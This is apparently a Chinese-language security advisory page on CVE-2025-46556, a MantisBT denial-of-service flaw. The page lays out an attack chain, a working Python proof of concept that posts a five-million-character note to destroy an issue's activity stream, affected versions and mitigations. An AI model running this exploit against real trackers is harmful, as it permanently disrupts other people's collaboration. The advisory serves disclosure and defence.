IPBUF安全漏洞报告
English
CVE-2025-46556 CVSS 6.5 中危

CVE-2025-46556: MantisBT超长注释导致活动日志损坏拒绝服务漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-46556
漏洞类型
拒绝服务/数据损坏
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mantis Bug Tracker (MantisBT)

相关标签

拒绝服务输入验证不足MantisBT活动日志损坏CVE-2025-46556Web应用安全Bug Tracker

漏洞概述

MantisBT 2.27.1及以下版本存在一个拒绝服务漏洞,由于服务器端缺少对备注长度的验证,攻击者可以通过提交极长的文本备注(测试达4,788,761个字符)来永久损坏问题的活动日志。一旦这样的备注被添加,活动流的UI将无法渲染,导致无法显示新的备注,从而有效地破坏了问题上的所有未来协作。该漏洞需要低权限用户身份即可执行,无需用户交互即可触发。CVSS评分6.5,属于中等严重程度。该漏洞已通过版本2.27.2修复。

技术细节

漏洞根源在于MantisBT在处理问题备注时缺少服务器端长度验证。攻击者利用此缺陷可以提交超过正常大小的文本内容,导致以下问题:1) 数据库存储异常增大的数据记录;2) 活动流页面加载时因数据量过大而超时或崩溃;3) UI组件无法正常渲染超长文本内容。攻击者只需拥有项目的基本访问权限(低权限),即可在任意问题上添加超长备注。由于活动流是按时间顺序展示所有备注的,一旦存在超长备注,整个活动流将无法正常显示,从而实现对特定问题协作功能的永久性破坏。这是一种应用层拒绝服务攻击,不影响系统整体可用性,但会破坏特定问题的协作功能。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标MantisBT版本,确认版本<=2.27.1,并获取目标系统的访问凭证(低权限账户即可)
STEP 2
步骤2: 认证访问
攻击者使用低权限账户登录MantisBT系统,获取有效的会话Cookie
STEP 3
步骤3: 构造超长备注
攻击者构造极长的文本备注(测试显示4,788,761个字符即可触发漏洞),绕过客户端验证直接发送HTTP请求
STEP 4
步骤4: 提交恶意备注
通过bugnote_add.php接口提交超长备注,由于服务器端缺少长度验证,备注被成功写入数据库
STEP 5
步骤5: 破坏活动流
超长备注导致活动流UI无法渲染,所有后续备注也无法正常显示,实现对问题协作功能的永久性破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-46556 PoC - MantisBT超长备注拒绝服务攻击 # Target: MantisBT <= 2.27.1 def exploit(target_url, username, password, issue_id): """ Exploit for CVE-2025-46556 This PoC demonstrates how submitting an extremely long note can corrupt issue activity logs. """ login_url = f"{target_url}/login.php" bugnote_url = f"{target_url}/bugnote_add.php" # Create session session = requests.Session() # Login to MantisBT login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data) if "login" in resp.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Create extremely long note (4,788,761+ characters) # This will corrupt the activity log long_note = "A" * 5000000 # 5 million characters # Submit the long note note_data = { "bug_id": issue_id, "bugnote_text": long_note, "mode": "add" } resp = session.post(bugnote_url, data=note_data) if resp.status_code == 200: print(f"[+] Successfully submitted long note to issue {issue_id}") print("[-] Activity stream for this issue is now corrupted!") return True else: print(f"[-] Failed to submit note (status: {resp.status_code})") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <issue_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] issue = sys.argv[4] exploit(target, user, pwd, issue)

影响范围

MantisBT < 2.27.2
MantisBT = 2.27.1
MantisBT = 2.27.0
MantisBT <= 2.26.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面限制POST请求大小;2) 在MantisBT配置文件中添加备注长度限制;3) 限制低权限用户的备注功能;4) 定期监控和清理异常长度的活动日志记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表